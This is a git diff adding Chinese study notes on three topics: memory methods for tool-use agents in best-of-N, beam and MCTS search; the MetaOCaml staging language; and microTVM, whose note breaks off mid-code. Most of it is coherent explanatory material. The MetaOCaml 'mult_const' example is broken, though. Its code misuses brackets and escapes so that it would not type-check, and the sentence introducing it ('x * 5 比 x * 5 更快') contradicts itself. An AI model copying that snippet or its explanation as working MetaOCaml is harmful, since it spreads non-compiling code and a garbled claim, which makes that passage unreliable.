+策略从 \(\pi_\theta(a \mid s)\) 变为 \(\pi_\theta(a \mid s, \mathcal{C})\)，其中：
+
+\[
+\mathcal{C} = \bigcup_{k=1}^{K} f_k(\mathcal{H}_k)
+\]
+
+- \(\mathcal{H}_k\)：第 \(k\) 个增强器能看到的**历史范围**
+- \(f_k\)：把历史**变换**成可注入 prompt 的文本（反思、事实、原始 observation 等）
+
+多个增强器可**组合**进同一条 prompt——论文发现组合并不总是更好（见下文「反思 vs 事实冲突」）。
+
+### 2. 轴一：记忆范围（Scope）
+
+| 范围 | 含义 | 典型方法 |
+|------|------|----------|
+| **Cross-trajectory（跨轨迹）** | 完整轨迹结束后，把信息传给**下一次独立尝试** | Reflection、LiTS-Fact |
+| **Cross-sibling（扩展内）** | 在同一搜索节点一次展开 \(N\) 个候选时，后采样的兄弟能看到**前面兄弟**的动作与观察 | Raw Sibling |
+
+### 3. 轴二：内容抽象（Abstraction）
+
+| 抽象级别 | 存什么 | 特点 |
+|----------|--------|------|
+| **Raw（原始）** | 工具返回的 observation 原文 | 信息最全，token 多 |
+| **Reflection（反思）** | 自然语言总结：错在哪、下次怎么做 | 偏**程序性**计划，Agent 易「逐步照做」 |
+| **Atomic facts（原子事实）** | 从轨迹抽出的短事实句 | 偏**陈述性**环境知识，利于跳过重复发现 |
+
+### 4. 四种具体记忆方法
+
+| 方法 | Scope | Abstraction | 说明 |
+|------|-------|-------------|------|
+| **No Memory** | — | — | 基线：各轨迹独立采样 |
+| **Reflection** | 跨轨迹 | 反思 | 类似 Reflexion / LATS 的 verbal memory |
+| **LiTS-Fact** | 跨轨迹 | 原子事实 | 适配 mem0 流水线到多尝试搜索 |
+| **Raw Sibling** | 扩展内 | 原始 observation | 论文新提出的 instantiation |
+
+### 5. 三种推理策略
+
+| 策略 | 直觉 | 与记忆的典型关系 |
+|------|------|------------------|
+| **Best-of-N（Indep）** | 独立生成 N 条轨迹，选 PRM 最高 | 跨轨迹记忆有用；扩展内记忆**结构上不适用** |
+| **Beam Search** | 每步保留 top-k 分支并行扩展 | 分支相似度高 → **多样性不足** → Raw Sibling 可能有用 |
+| **MCTS** | 树搜索 + 回滚 + 价值估计 | 跨轨迹 Reflection 在难任务上**显著**；与 Raw Sibling 在 KGQA 上准确率可接近 |
+
+### 6. 三个基准环境（四类任务）
+
+- **WikiSQL / WikiTQ**：Text-to-SQL，环境相对可复用（表结构、列名）。
+- **KGQA**：知识图谱问答，更难，步数更长。
+- **Terminal-Bench**：CLI / Shell，环境常**不可序列化** → 许多搜索组合不可行。
+
+---
+
+## 三条核心发现（论文 F1–F3）
+
+### F1：记忆对准确率的影响取决于搜索方法
+
+- **Reflection** 的统计显著提升主要出现在 **MCTS** 下，在 **best-of-N** 下往往不显著。
+- **Raw Sibling（扩展内注入）** 主要帮助 **多样性不足的 beam search**，对 MCTS 等其他策略帮助有限。
+- 同一记忆方法、同一批样本，换推理策略后结果可以**统计上显著不同**——推理策略是重要**混淆变量**。
+
+### F2：不同抽象在难任务上可能「效果打平」
+
+在 KGQA 的 MCTS 上，**Reflection** 与 **Raw Sibling** 准确率统计上**无法区分**，尽管一个用高抽象反思、一个用原始 observation。说明：在足够难的搜索里，「有跨尝试信息通道」本身可能比「通道里装的是反思还是 raw」更关键——至少在该设定下如此。
+
+### F3：事实提取偏效率，不偏准确率
+
+**LiTS-Fact** 在具有**可复用环境结构**的任务上，常**不提高** pass@k，但能把轨迹长度缩短约 **19–26%**。WikiSQL 上 77% 的后继尝试会跳过 `list_tables` 这类重复发现步骤（无记忆时仅约 4%）。
+
+### 额外机制：反思 + 事实同时注入会「打架」
+
+事实说「表 Tournament_Results 已有列 A,B,C」→ Agent 本可跳过列清单；反思说「Step 1: list tables」→ Agent **字面执行计划**，仍去 list tables。WikiSQL 上 skip 率从 77%（仅事实）跌到 20%（事实+反思），pass@5 也会下降。**显式程序性记忆会压制隐式环境知识。**
+
+---
+
+## 代码示例 1：Best-of-N + 跨轨迹 Reflection（教学用骨架）
+
+下面用 Python 伪代码展示 **verifier-free best-of-N**：轨迹之间只传反思，最终用过程奖励模型（PRM）选最优，**推理过程中不调 oracle**。
+
+```python
+from dataclasses import dataclass, field
+from typing import Any
+
+
+@dataclass
+class Trajectory:
+    steps: list[dict[str, Any]] = field(default_factory=list)
+    final_answer: str | None = None
+    prm_score: float = 0.0
+
+
+def run_tool(env, action: dict) -> dict:
+    """env 可以是 SQL 连接、KG API、mock shell 等。"""
+    return env.execute(action)
+
+
+def reflect_on_trajectory(traj: Trajectory, llm) -> str:
+    """跨轨迹抽象：把失败/低效轨迹压成自然语言反思。"""
+    prompt = f"""
+    任务已结束。轨迹步数={len(traj.steps)}，最终答案={traj.final_answer!r}。
+    请用 3 条以内 bullet 总结：哪些工具调用是浪费的？下次应如何调整策略？
+    轨迹摘要：{traj.steps[-8:]}
+    """
+    return llm.complete(prompt)
+
+
+def agent_step(state: str, memory: str, llm) -> dict:
+    """单步 tool-call：prompt = 系统记忆 + 当前 observation。"""
+    system = f"跨轨迹记忆（反思）：\n{memory}\n" if memory else ""
+    return llm.choose_tool(system + state)
+
+
+def best_of_n_with_reflection(task: str, env, llm, prm, n: int = 5) -> Trajectory:
+    memory = ""
+    trajectories: list[Trajectory] = []
+
+    for attempt in range(n):
+        state = task
+        traj = Trajectory()
+
+        while not env.done(state):
+            action = agent_step(state, memory, llm)
+            obs = run_tool(env, action)
+            traj.steps.append({"action": action, "obs": obs})
+            state = env.render(state, obs)
+
+        traj.final_answer = env.extract_answer(state)
+        traj.prm_score = prm.score(task, traj)  # 仅用于选优，非 inline verifier
+        trajectories.append(traj)
+
+        # 跨轨迹：下一条尝试读取上一轮的 verbal reflection
+        memory = reflect_on_trajectory(traj, llm)
+
+    return max(trajectories, key=lambda t: t.prm_score)
+```
+
+**读代码时注意**：
+
+- `memory` 在**每条轨迹结束后**才更新 → 典型的 **cross-trajectory + reflection**。
+- `prm.score` 模拟论文里的过程奖励模型选轨迹；它**不是** SQL 执行结果的对错标签（那会是 inline verifier）。
+- 论文结论：这种 Reflection 在 **best-of-N** 上提升常不显著；若换成 **MCTS + 回滚**，同一反思机制更容易显出收益（F1）。
+
+---
+
+## 代码示例 2：Scope × Abstraction 组合器 + Beam 扩展内 Raw Sibling
+
+第二个例子展示论文公式 (1) 的**可组合增强器**，并实现 **Raw Sibling**：同一父节点展开多个候选时，后生成的候选看到前面兄弟的 `(action, observation)`。
+
+```python
+from abc import ABC, abstractmethod
+
+
+class ContextAugmentor(ABC):
+    @abstractmethod
+    def analyze(self, history) -> str:
+        ...
+
+
+class ReflectionAugmentor(ContextAugmentor):
+    """Scope: cross-trajectory | Abstraction: reflection"""
+
+    def __init__(self, past_trajectories: list):
+        self.past_trajectories = past_trajectories
+
+    def analyze(self, history) -> str:
+        if not self.past_trajectories:
+            return ""
+        last = self.past_trajectories[-1]
+        return f"[Reflection] 上一轮共 {len(last)} 步，避免重复无效工具调用。"
+
+
+class FactAugmentor(ContextAugmentor):
+    """Scope: cross-trajectory | Abstraction: atomic facts (LiTS-Fact 简化版)"""
+
+    def __init__(self, facts: list[str]):
+        self.facts = facts
+
+    def analyze(self, history) -> str:
+        if not self.facts:
+            return ""
+        return "[Facts]\n" + "\n".join(f"- {f}" for f in self.facts)
+
+
+class RawSiblingAugmentor(ContextAugmentor):
+    """Scope: within expansion | Abstraction: raw (action, obs) pairs"""
+
+    def __init__(self, siblings: list[tuple[dict, dict]]):
+        self.siblings = siblings  # 当前节点已采样兄弟的 (action, observation)
+
+    def analyze(self, history) -> str:
+        if not self.siblings:
+            return ""
+        lines = []
+        for i, (a, o) in enumerate(self.siblings, 1):
+            lines.append(f"兄弟#{i} action={a} obs={o}")
+        return "[Sibling context]\n" + "\n".join(lines)
+
+
+def build_prompt(state: str, augmentors: list[ContextAugmentor], histories) -> str:
+    chunks = [aug.analyze(histories[i]) for i, aug in enumerate(augmentors)]
+    context = "\n\n".join(c for c in chunks if c)
+    return f"{context}\n\n当前状态：{state}" if context else state
+
+
+def beam_expand(parent_state, env, llm, beam_width: int = 3):
+    """束搜索一步：后采样候选注入 Raw Sibling 记忆。"""
+    candidates = []
+    siblings: list[tuple[dict, dict]] = []
+
+    for _ in range(beam_width):
+        prompt = build_prompt(
+            parent_state,
+            augmentors=[RawSiblingAugmentor(siblings)],
+            histories=[siblings],
+        )
+        action = llm.choose_tool(prompt)
+        obs = env.execute(action)
+        siblings.append((action, obs))  # 下一个兄弟能看到之前的
+        next_state = env.render(parent_state, obs)
+        candidates.append((next_state, obs, llm.score_state(next_state)))
+
+    return sorted(candidates, key=lambda x: x[2], reverse=True)[:beam_width]
+```
+
+**设计对照表**（与论文 Table 9 思想一致）：
+
+| 配置 | 探索多样性 | 跳过重复发现 |
+|------|------------|--------------|
+| 无记忆 | 高（i.i.d. 采样） | 低 |
+| LiTS-Fact 全注入 | 降低（事实被当 ground truth） | 高 |
+| Raw Sibling + Beam | 在**步内**差异化兄弟 | 中等 |
+
+论文强调：**检索式**「只注入相似事实」难以同时保多样性与高效率——Pareto 前沿很窄；他们的 LiTS-Fact 走「全注入、高效率、低多样性」一端。
+
+---
+
+## 实验矩阵怎么读
+
+论文评估的是 **memory × inference × benchmark** 单元格，部分组合因环境不可序列化而**结构性不可行**（Table 2 中 † 标记）。
+
+| 维度 | 取值 |
+|------|------|
+| 记忆 | No Memory / Reflection / LiTS-Fact / Raw Sibling（及 Fact+Refl 组合） |
+| 推理 | Best-of-N / Beam / MCTS |
+| 任务 | WikiSQL(51) / WikiTQ(49) / KGQA(150 或 69 子集) / Terminal-Bench(89) |
+
+**效率侧数据（Appendix P，best-of-N）**：
+
+- WikiSQL 平均步数：No Memory 6.1 → LiTS-Fact 4.9；跳过 list_tables：4% → 77%。
+- 成本：Reflection 因 augmentor 调用，总成本高于纯策略；Fact 在步数减少后**策略侧**更省。
+
+整实验 API 成本约 **$1,384**（Bedrock 定价，Haiku/Sonnet 分工）。
+
+---
+
+## 给工程实践的 checklist
+
+在给你的 tool-use Agent 加「多轨迹记忆」之前，可以按论文结论自问：
+
+1. **推理策略是什么？** 若只有 best-of-N，别指望 Reflexion 式反思一定涨点；若用 MCTS，跨轨迹反思更值得试。
+2. **环境能否 fork？** 不能则别设计依赖 beam/MCTS 的方案；记忆应服务**独立多次尝试**。
+3. **任务有没有可复用的环境结构？** 有（SQL  schema、固定 API 面）→ 事实提取可能**省 token/步数**；无则记忆偏「避错」而非「跳过发现」。
+4. **beam 是否多样性不足？** 是 → 考虑扩展内 Raw Sibling；否 → 收益可能不明显。
+5. **是否混用反思与事实？** 小心显式计划覆盖环境事实，导致重复工具调用。
+6. **是否 verifier-free？** 在线没有单元测试/答案校验时，论文设定更贴你的生产路径；别直接照搬带 inline verifier 的旧结论。
+
+---
+
+## 与相关工作的关系（简表）
+
+| 方向 | 代表工作 | 本文差异 |
+|------|----------|----------|
+| 树搜索推理 | Tree-of-Thoughts, RAP, ReST-MCTS* | 聚焦**记忆抽象 × 搜索策略**交互，非新搜索算法 |
+|  verbal 反思 | Reflexion, LATS | 统一进 scope×abstraction，并测 **何时** 显著 |
+| 原子事实 | mem0, Holt et al. | LiTS-Fact + 与 Reflection 的**对照**与**组合**分析 |
+| 不可序列化环境 | Zainullina et al. 2025 | 解释为何某些 benchmark 只能 best-of-N |
+
+框架还可视为 RL **experience replay** 的推理期类比：经验不用于梯度，而是**写进 prompt**（in-context learning / hindsight 的一种形式）。
+
+---
+
+## 局限与开放问题
+
+- **单一策略 LLM 族**：SQL 用 Haiku、KG 用 Sonnet；跨模型结论需谨慎外推。
+- **Fact 检索策略**：论文主要评「全注入」；相似/相异检索仅为设计空间分析，未全量实验。
+- **组合增强器**：Fact+Reflection 已显示冲突；更一般的组合规则仍开放。
+- **负向事实**（「某表不存在」）与 **candidate-vs-truth  framing** 被提出作为缓解多样性–效率权衡的方向，需后续验证。
+
+---
+
+## 一句话总结
+
+**记忆不是 tool-use Agent 多轨迹推理的万能插件：Reflection 更像给 MCTS 的「错题本」，LiTS-Fact 更像 SQL 任务的「环境速查表」，Raw Sibling 是给「步子太像的束搜索」加的「兄弟耳语」——先选对推理策略，再选记忆抽象，比堆更多记忆类型更重要。**
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2605.28224](https://arxiv.org/html/2605.28224)
+- Reflexion（跨轨迹反思原型）：Shinn et al., 2023
+- LATS（MCTS + 反思）：Zhou et al., 2024
+- 不可序列化环境与轨迹选择：Zainullina et al., 2025
+- mem0（原子事实提取流水线）：Chhikara et al., 2025
diff --git a/src/content/docs/papers/metaocaml-2003.md b/src/content/docs/papers/metaocaml-2003.md
new file mode 100644
index 000000000..bbcd89cc9
--- /dev/null
+++ b/src/content/docs/papers/metaocaml-2003.md
@@ -0,0 +1,159 @@
+---
+title: MetaOCaml: A Compiled, Type-Safe, Multi-Stage Programming Language
+来源: https://okmij.org/ftp/ML/MetaOCaml.html
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# MetaOCaml：一个编译型、类型安全的多阶段编程语言
+
+## 什么是"多阶段编程"？
+
+想象你在写一份菜谱。
+
+**普通编程**就像直接照着菜谱做菜：给个数字，算出结果。比如 `x 的 7 次方`，你给它 x=3，它告诉你 2187。
+
+**多阶段编程**就像你先写一个"通用菜谱生成器"——这个生成器知道某道菜每次都要做 7 次方，于是它提前把 7 次方的步骤全部算好，生成了一个专门的、精简的菜谱。拿到这个新菜谱后再做菜，省去了所有不必要的判断和循环。
+
+多阶段编程的核心思想就是：**把程序分成多个"阶段"运行，在早期阶段（编译期/生成期）做更多计算，在后期阶段（运行期）跑得更更快。**
+
+MetaOCaml 是 OCaml 语言的一个扩展，它让这种"写生成程序的程序"变得**类型安全**——你生成的代码绝对不会因为类型错误而崩溃。
+
+## 两个核心构造：括号和逃逸
+
+MetaOCaml 只加了两个新语法，就能玩起多阶段编程：
+
+| 语法 | 名称 | 作用 | 通俗理解 |
+|------|------|------|----------|
+| `.\< e \>.` | 括号（bracket / quasi-quote） | 把 `e` 打包成"未来的代码" | 把步骤写进一个盒子，不急着做 |
+| `.~e` | 逃逸（escape） | 在括号内计算 `e`，把结果嵌进去 | 现在算好，塞进盒子的对应位置 |
+
+还有一个 `.\<\>.` 类型：`int code` 表示"这段代码算出来是个 int"。
+
+## 经典例子：7 次方
+
+这是论文里反复用的例子，先看不分阶段的普通版本：
+
+```ocaml
+let square x = x * x
+let rec power n x =
+  if n = 0 then 1
+  else if n mod 2 = 0 then square (power (n/2) x)
+  else x * (power (n-1) x)
+```
+
+`power 7 x` 每次调用都要判断"n 是 0 吗？是偶数吗？"——这些判断对 `7` 这个固定值来说纯属浪费。
+
+MetaOCaml 版本：
+
+```ocaml
+let rec spower n x =
+  if n = 0 then .\<1\>.
+  else if n mod 2 = 0 then .\<square .~(spower (n/2) x)\>.
+  else .\<.~x * .~(spower (n-1) x)\>.
+```
+
+注意类型变了：`int -> int code -> int code`。返回值不再是整数，而是"一段算整数的代码"。
+
+调用方式：
+
+```ocaml
+let spower7_code = .\<fun x -> .~(spower 7 .\<x\>.)\>.
+(* 生成的代码长这样：
+   fun x_1 -> x_1 * (square (x_1 * (square (x_1 * 1))))
+*)
+```
+
+看！生成的代码里完全没有递归、没有判断，就是一连串乘法。`power` 里有 6 个递归调用，`spower7` 里全变成了直接的乘法。
+
+要真正运行这段代码，用 `run` 函数把它编译并链接回主程序：
+
+```ocaml
+open Runcode
+let spower7 = run spower7_code
+(* spower7 3 = 2187 *)
+```
+
+## 关键概念一览
+
+**代码值（code value）**：第一段程序生成的"代码片段"。它本身不是结果，而是一段还没跑的程序。类型是 `'a code`。
+
+**纯生成性（pure generativity）**：你只能"组装"代码，不能"拆开"看它的内部。这让类型系统能做出强保证——生成的代码一定是合法的。
+
+**类型安全保证**：一个通过 MetaOCaml 类型检查的生成器，**一定**只会生成能编译的代码。这不是事后测试出来的，是类型系统保证的。
+
+**跨阶段持久值（CSP, Cross-Stage Persistence）**：在生成代码时引用了当前阶段定义的函数（比如 `square`），MetaOCaml 会用 `csp_square_3` 这样的标记引用它，后续编译时能正确链接。
+
+**offshoring（离岸编译）**：生成的代码可以翻译成 C 代码。比如上面的 `spower7_code` 能生成：
+
+```c
+int power7(int const x_1) {
+  return (x_1 * sqr(x_1 * sqr(x_1 * 1)));
+}
+```
+
+**多阶段嵌套**：括号可以嵌套——你可以写"生成代码的代码"，甚至"生成生成代码的代码"。理论上有任意多层。
+
+## 代码示例 2：让常量乘法更快
+
+实际编程中，`x * 5` 比 `x * 5` 做完整乘法指令更快——可以展开成 `x + x + x + x + x` 或者利用移位。MetaOCaml 的 `mult.ml` 例子展示了如何用多阶段编程在运行时"特化"一个常量乘法器：
+
+```ocaml
+(* 把常量乘法的逻辑"生成"出来，而不是运行时算 *)
+let rec mult_const c x =
+  if c = 0 then .\<0\>.
+  else if c = 1 then .~x
+  else if c mod 2 = 0 then
+    .\< .~(mult_const (c/2) .~x) * .\<2\>. \>.
+  else
+    .~x * .~(mult_const (c-1) x)
+```
+
+调用 `mult_const 5` 生成一段代码，这段代码里 `x * 5` 已经被优化成加法/移位组合了。
+
+## 与普通宏系统的区别
+
+很多语言都有宏（C 的 `#define`、Rust 的 `macro`、Racket 的 `syntax-rules`），但 MetaOCaml 和它们有本质不同：
+
+| | C 宏 / 文本替换 | MetaOCaml |
+|---|---|---|
+| 类型安全 | 没有 | 编译时保证 |
+| 变量作用域 | 容易冲突（宏变量泄漏） | 词法作用域自动管理（hygiene） |
+| 错误消息 | 生成后报一堆看不懂的错 | 在**生成器**里报错，好定位 |
+| 能返回函数 | 困难 | 一等公民，`'a -> 'b code` |
+| 能嵌套阶段 | 不行 | 任意多层 |
+
+## 三种实现方式的对比
+
+论文还分析了三类给语言加多阶段支持的方法：
+
+**方法 1：直接在 AST 里加 staging 形式**。修改解析器、类型检查器、中间语言和代码生成器。改的东西太多，等于重写语言。
+
+**方法 2：预处理成代码组合子（code combinators）**。比如把 `.\<x * y + 1\>.` 翻译成 `add (mul x y) (int 1)`。好处是不用改 OCaml 本体，坏处是处理 polymorphic let、模式匹配很麻烦。Scala 的 LMS（Lightweight Modular Staging）走的类似路线。
+
+**方法 3：类型检查后再翻译（MetaOCaml 的选择）**。先按带括号的规则做类型检查，确保多态 let 等构造正确；类型检查完再把括号去掉，翻译成中间表示。这样 OCaml 的后端优化器和代码生成器可以完全复用。改动极小——最新版只改了 5 个 OCaml 文件。
+
+## 安装与版本
+
+当前版本 N153 基于 OCaml 5.3.0。通过 OPAM 安装：
+
+```bash
+opam update
+opam switch create 5.3.0+BER
+eval `opam config env`
+```
+
+MetaOCaml 与 OCaml 几乎完全向后兼容——去掉所有 staging 标注后就是普通 OCaml。
+
+## MetaOCaml 的现实应用
+
+- 编译领域特定语言（DSL），比如图像处理查询
+- 自动生成高性能数值计算内核
+- 数据流优化中的"流融合"（stream fusion）
+- 编译 FFT、高斯消元等算法的变体
+
+## 一句话总结
+
+MetaOCaml 说："你不用在**写代码**和**写生成代码的工具**之间二选一——你写的每段 OCaml 代码都天然支持生成其他 OCaml 代码，而且类型系统保证你生成的东西一定跑得通。"
diff --git a/src/content/docs/papers/microtvm-2020.md b/src/content/docs/papers/microtvm-2020.md
new file mode 100644
index 000000000..b9511fc1a
--- /dev/null
+++ b/src/content/docs/papers/microtvm-2020.md
@@ -0,0 +1,312 @@
+---
+title: microTVM — 把 TVM 编译器搬到微控制器上的 bare-metal ML 栈（学习笔记）
+来源: https://tvm.apache.org/docs/topic/microtvm/index.html
+日期: 2026-06-13
+分类: 操作系统
+子分类: 嵌入式与 IoT
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你在一家**连锁烘焙店**总部，要把同一套「识别面包是否烤焦」的神经网络，部署到全球几千家**只有一口小烤箱、没有后厨经理**的街边档口：
+
+- 每家档口的**灶台型号**不同（Cortex-M3/M4/M7、RISC-V、有无 FPU、Flash 只有 512 KB～2 MB）。
+- 档口**不能运行时打电话要内存**——没有 `malloc`，常常没有完整操作系统，只有裸机或轻量 RTOS。
+- 但总部希望**不只靠解释器逐层放映**，而是像专业中央厨房一样：**提前把菜谱编译成可直接下锅的半成品**，还能针对每家店的烤箱做**自动调参**（autotuning）。
+
+**microTVM** 就是 Apache TVM 为这种场景做的扩展：在**只依赖 C 标准库**的 bare-metal 设备上，把 Relay/TFLite 等前端模型**编译成 C 源码或目标文件**，配合极简 **C Runtime（CRT）** 和 **Project API** 生成可烧录固件；同时可在设备上跑 **TVM RPC 服务**，让主机端驱动推理或自动调优。
+
+它与 [TensorFlow Lite Micro](./tflite-micro-2021.md) 解决同一类 TinyML 问题，但路线不同：TFLM 强调**解释器 + FlatBuffer**；microTVM 强调**编译器优化 + 代码生成 + TVM 全栈复用**（AutoTVM / Meta Schedule、CMSIS-NN 等 BYOC 内核）。
+
+## microTVM 到底是什么
+
+根据 [官方文档](https://tvm.apache.org/docs/topic/microtvm/index.html)，microTVM 由三块能力组成：
+
+| 组件 | 作用 |
+|------|------|
+| **编译器扩展** | 让 `tvm.relay.build` 能针对 `tvm.target.micro(...)` 生成可在 MCU 上链接的 C/LLVM 产物 |
+| **设备端 RPC** | 在板子上跑精简 TVM RPC server，主机通过 UART 等通道下发算子、做 autotuning |
+| **CRT 运行时** | 极简 C 运行时（`Runtime("crt")`），替代桌面 TVM 常用的动态 C++ Runtime |
+
+典型工作流（与官方 workflow 图一致）可记成：
+
+```
+训练/导出模型 (TFLite / ONNX / PyTorch→Relay)
+    → Relay 前端 + 量化/剪枝
+    → relay.build(target=micro, runtime=crt, executor=aot|graph)
+    → Model Library Format (MLF) 目录/压缩包
+    → Project API 套入 Zephyr / Arduino / CRT 模板工程
+    → 交叉编译 + 烧录
+    → Host-Driven（主机 Graph/AOT Executor 经 RPC 驱动）或 Standalone（设备自包含推理）
+```
+
+## 为什么需要 microTVM
+
+MCU 上的 ML 部署有三条常见路线，microTVM 站在「**编译器派**」：
+
+| 路线 | 代表 | 强项 | 弱项 |
+|------|------|------|------|
+| 解释器 | TFLite Micro | 换模型常只需换 Flash 里的数组 | 优化深度受解释调度限制 |
+| 厂商 SDK | CMSIS-NN 手写调用 | 单算子极快 | 整图手工拼接成本高 |
+| **编译器** | **microTVM** | 整图融合、调度搜索、多前端 | 工具链与板级集成更复杂 |
+
+microTVM 的价值在于：**复用 TVM 在服务器/GPU 上验证过的编译与调优基础设施**，把「为这颗 STM32 手写卷积循环」变成「声明 target + 跑 build + 选 executor」。
+
+## 核心概念
+
+### 1. Micro Target
+
+`TARGET = tvm.target.target.micro("host")` 可在 x86 上用 CRT **模拟** MCU 环境；真板子则传入板级 model 字符串，例如 Zephyr 的 `nucleo_f746zg`：
+
+```python
+import tvm
+
+# 主机仿真：不连硬件也能跑通 pipeline
+TARGET_HOST = tvm.target.target.micro("host")
+
+# 物理板：从 boards.json 读取 SoC 描述（Zephyr 模板）
+# TARGET = tvm.target.target.micro(boards["nucleo_l4r5zi"]["model"])
+```
+
+Target 告诉编译器：可用内存、是否禁用向量指令、交叉编译器前缀等——**同一 Relay 图，换 target 就换「为哪家烤箱写的菜谱」**。
+
+### 2. CRT Runtime 与 Executor 选择
+
+microTVM **应使用 C Runtime**，不要用桌面默认的 C++ Runtime：
+
+| 选项 | 含义 | 适用场景 |
+|------|------|----------|
+| `Runtime("crt", {"system-lib": True})` | 静态链接、函数注册表在编译期确定 | 几乎所有 microTVM 部署 |
+| `Executor("aot")` | Ahead-of-Time：图编译成单个 `run()`，**预先规划内存** | 部署首选；比 Graph 少运行时解析 JSON |
+| `Executor("graph", {"link-params": True})` | 保留 `graph.json`，由 GraphExecutor 调度 | Host-Driven 实验、与 AutoTVM 集成 |
+
+设计文档指出：**GraphExecutor 的 Standalone 模式内存效率一般**；生产更推荐 **AOT + 预分配 workspace**。
+
+常见 Pass 配置（MCU 无 SIMD 时要关向量化）：
+
+```python
+with tvm.transform.PassContext(opt_level=3, config={"tir.disable_vectorize": True}):
+    module = tvm.relay.build(
+        relay_mod,
+        target=TARGET,
+        params=params,
+        runtime=RUNTIME,
+        executor=EXECUTOR,
+    )
+```
+
+### 3. Model Library Format (MLF)
+
+`relay.build` 返回的 `(graph_json, lib, params)` 三元组会被打包成 **MLF** 标准目录，便于 CI 与 Project API 消费。典型结构包括：
+
+- `codegen/target/src/*.c` — 算子与元数据 C 源码
+- `parameters/*.params` — Relay 权重
+- `runtime-config/aot/` 或 `graph/graph.json` — 执行器配置
+- `metadata.json` — 目标、runtime、外部依赖（如 standalone CRT 头文件列表）
+
+MLF 是「**中央厨房出库的半成品箱**」：不关心你最后用的是 Zephyr 还是 Arduino，箱内格式统一。
+
+### 4. Host-Driven vs Standalone
+
+| 模式 | 推理控制端 | 固件内含 | 典型用途 |
+|------|------------|----------|----------|
+| **Host-Driven** | 主机上的 Graph/AOT Executor | CRT + RPC Server | 开发调试、AutoTVM 调优、快速迭代 |
+| **Standalone** | 设备 `main()` 直接调 `run()` | CRT + 编译进设备的执行逻辑 | 量产后脱机运行 |
+
+Host-Driven 时，主机通过 UART/USB 发 RPC：**「把这块输入 tensor 拷进去，跑第 7 号算子」**——设备像远程协处理器。Standalone 则把 AOT 生成的 `run()` 和权重全部链进 Flash，上电即推理。
+
+### 5. Project API 与模板工程
+
+裸 `relay.build` 产物还不能直接烧录。microTVM 用 **Project API** 把 MLF 注入平台模板：
+
+- `crt` / `host` — x86 仿真
+- `zephyr` — STM32、nRF 等 Zephyr 板
+- `arduino` — Nano 33 BLE 等
+
+模板根目录有 `microtvm_api_server.py`，负责 `generate_project` → `build` → `flash` → 暴露 `transport()` 给 `tvm.micro.Session`。
+
+### 6. TVMC Micro 命令行
+
+不想写 Python 时，可用 **TVMC Micro** 一条龙（需先 `tvmc compile` 出 MLF）：
+
+```bash
+# 生成 Zephyr 工程
+tvmc micro create project mlf.tar zephyr \
+  --project-option zephyr_board=qemu_x86
+
+# 编译固件
+tvmc micro build project zephyr --project-option zephyr_board=qemu_x86
+
+# 烧录后在主机侧跑推理
+tvmc run --device micro project/model.tar --device-key micro0
+```
+
+适合 CI 里「编译 → 仿真板跑 golden」的流水线。
+
+## 代码示例一：TFLite → Relay → AOT → Host-Driven 推理
+
+下列流程浓缩自官方 [microTVM Host-Driven AoT](https://tvm.apache.org/docs/how_to/work_with_microtvm/micro_aot.html) 教程：在 `host` target 上用 CRT 跑通，再换板级 target 即可迁移。
+
+```python
+import json
+import pathlib
+import numpy as np
+import tvm
+from tvm import relay
+from tvm.relay.backend import Executor, Runtime
+
+# 1. 导入 TFLite（也可用 ONNX / PyTorch）
+tflite_model = open("mobilenet_v1_0.25_128_quant.tflite", "rb").read()
+shape_dict = {"input": [1, 128, 128, 3]}
+relay_mod, params = relay.frontend.from_tflite(tflite_model, shape_dict=shape_dict)
+
+# 2. micro target + CRT + AOT
+TARGET = tvm.target.target.micro("host")
+RUNTIME = Runtime("crt", {"system-lib": True})
+EXECUTOR = Executor("aot")
+
+with tvm.transform.PassContext(opt_level=3, config={"tir.disable_vectorize": True}):
+    module = tvm.relay.build(
+        relay_mod, target=TARGET, params=params, runtime=RUNTIME, executor=EXECUTOR
+    )
+
+# 3. 用 Project API 生成可构建工程
+template = pathlib.Path(tvm.micro.get_microtvm_template_projects("crt"))
+project_dir = pathlib.Path("/tmp/microtvm_aot_project")
+project = tvm.micro.generate_project(
+    template,
+    module,
+    project_dir,
+    {"project_type": "host_driven"},
+)
+
+# 4. 构建并通过 Session 跑 AOT Executor
+project.build()
+with tvm.micro.Session(project.transport()) as session:
+    aot = tvm.runtime.executor.aot_executor.AotModule(session.create_aot_executor())
+    sample = np.load("sample_input.npy")
+    aot.get_input("input").copyfrom(sample)
+    aot.run()
+    logits = aot.get_output(0).numpy()
+    print("predicted class:", int(np.argmax(logits)))
+```
+
+要点：**AOT 不在运行时解析 graph.json**，workspace 在编译期规划，适合 RAM 紧张的 MCU。
+
+## 代码示例二：Graph Executor + Zephyr 物理板
+
+Host-Driven Graph 模式更接近「主机当导演、设备当演员」，与 AutoTVM 历史集成最深。下面展示 Session + `create_local_graph_executor` 形态（摘自 [TFLite microTVM 教程](https://tvm.apache.org/docs/how_to/work_with_microtvm/micro_tflite.html) 思路）：
+
+```python
+import numpy as np
+import tvm
+from tvm import relay
+from tvm.relay.backend import Executor, Runtime
+
+# 极简 sin 回归模型（MCU 友好）
+def build_sin_model():
+    x = relay.var("input", shape=(1,), dtype="float32")
+    y = relay.nn.dense(relay.reshape(x, (1, 1)), relay.const(np.zeros((1, 8), "float32")))
+    y = relay.nn.relu(y)
+    y = relay.nn.dense(y, relay.const(np.zeros((8, 1), "float32")))
+    mod = tvm.IRModule.from_expr(relay.Function([x], y))
+    params = {}  # 实际应加载训练权重
+    return mod, params
+
+relay_mod, params = build_sin_model()
+TARGET = tvm.target.target.micro("nucleo_f746zg")  # Zephyr 板级 model
+RUNTIME = Runtime("crt", {"system-lib": True})
+EXECUTOR = Executor("graph", {"link-params": True})
+
+with tvm.transform.PassContext(opt_level=3, config={"tir.disable_vectorize": True}):
+    module = tvm.relay.build(
+        relay_mod, target=TARGET, params=params, runtime=RUNTIME, executor=EXECUTOR
+    )
+
+import pathlib
+zephyr_tpl = pathlib.Path(tvm.micro.get_microtvm_template_projects("zephyr"))
+project = tvm.micro.generate_project(
+    zephyr_tpl,
+    module,
+    pathlib.Path("/tmp/zephyr_sin"),
+    {"project_type": "host_driven", "zephyr_board": "nucleo_f746zg"},
+)
+project.build()
+project.flash()
+
+with tvm.micro.Session(project.transport()) as session:
+    graph_mod = tvm.micro.create_local_graph_executor(
+        module.get_graph_json(),
+        session.get_system_lib(),
